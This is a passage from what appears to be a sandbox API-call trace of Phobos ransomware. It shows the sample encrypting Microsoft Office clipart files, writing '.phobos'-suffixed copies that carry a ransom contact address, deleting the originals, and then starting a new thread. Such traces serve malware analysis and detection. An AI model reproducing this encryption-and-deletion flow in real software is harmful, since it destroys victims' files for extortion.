office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0064.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0064.830] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0064.830] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0064.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0064.833] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0064.833] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0064.833] ReadFile (in: hFile=0x340, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2c8, lpOverlapped=0x0) returned 1 [0064.834] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2d0) returned 1 [0064.834] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2d0, lpOverlapped=0x0) returned 1 [0064.835] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0064.835] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0064.835] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0064.836] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0064.836] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0064.836] CryptDestroyKey (hKey=0x10cf70) returned 1 [0064.836] CloseHandle (hObject=0x340) returned 1 [0064.836] CloseHandle (hObject=0x308) returned 1 [0064.837] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0064.840] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0064.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0064.845] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2952) returned 1 [0064.845] CloseHandle (hObject=0x320) returned 1 [0064.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0064.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0064.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0064.845] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0064.845] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0064.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.846] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0064.846] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0064.846] ReadFile (hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0) Process: id = "2" image_name = "ph_exec.exe1.exe" filename = "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe" page_root = "0x33cc6000" os_pid = "0xf98" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa9c" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xf8c [0036.308] GetStartupInfoW (in: lpStartupInfo=0xcff738 | out: lpStartupInfo=0xcff738*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0036.309] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.309] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2960000 [0036.312] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0036.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0036.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0036.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0036.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0036.352] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x214) returned 0x29605a8 [0036.352] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0036.352] GetCurrentThreadId () returned 0xf8c [0036.353] GetStartupInfoW (in: lpStartupInfo=0xcff6d4 | out: lpStartupInfo=0xcff6d4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x10871aa, hStdOutput=0x10874e3, hStdError=0x29605a8)) [0036.353] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x800) returned 0x29607c8 [0036.353] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0036.353] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0036.353] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0036.353] SetHandleCount (uNumber=0x20) returned 0x20 [0036.353] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe\"" [0036.353] GetEnvironmentStringsW () returned 0xd74f98* [0036.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379 [0036.353] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x563) returned 0x2960fd0 [0036.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0x2960fd0, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1379 [0036.353] FreeEnvironmentStringsW (penv=0xd74f98) returned 1 [0036.353] GetLastError () returned 0x0 [0036.353] SetLastError (dwErrCode=0x0) [0036.353] GetLastError () returned 0x0 [0036.353] SetLastError (dwErrCode=0x0) [0036.353] GetLastError () returned 0x0 [0036.353] SetLastError (dwErrCode=0x0) [0036.353] GetACP () returned 0x4e4 [0036.353] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x220) returned 0x2961540 [0036.354] GetLastError () returned 0x0 [0036.354] SetLastError (dwErrCode=0x0) [0036.354] IsValidCodePage (CodePage=0x4e4) returned 1 [0036.354] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xcff69c | out: lpCPInfo=0xcff69c) returned 1 [0036.354] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xcff168 | out: lpCPInfo=0xcff168) returned 1 [0036.354] GetLastError () returned 0x0 [0036.354] SetLastError (dwErrCode=0x0) [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0xcfeee8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧ĈĀ") returned 256 [0036.354] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧ĈĀ", cchSrc=256, lpCharType=0xcff17c | out: lpCharType=0xcff17c) returned 1 [0036.354] GetLastError () returned 0x0 [0036.354] SetLastError (dwErrCode=0x0) [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0xcfeeb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0036.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xcfeca8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0036.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xcff47c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5a\xcf\xdc\x36\xb4\xf6\xcf", lpUsedDefaultChar=0x0) returned 256 [0036.354] GetLastError () returned 0x0 [0036.354] SetLastError (dwErrCode=0x0) [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xcff57c, cbMultiByte=256, lpWideCharStr=0xcfeed8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0036.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xcfecc8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0036.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xcff37c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 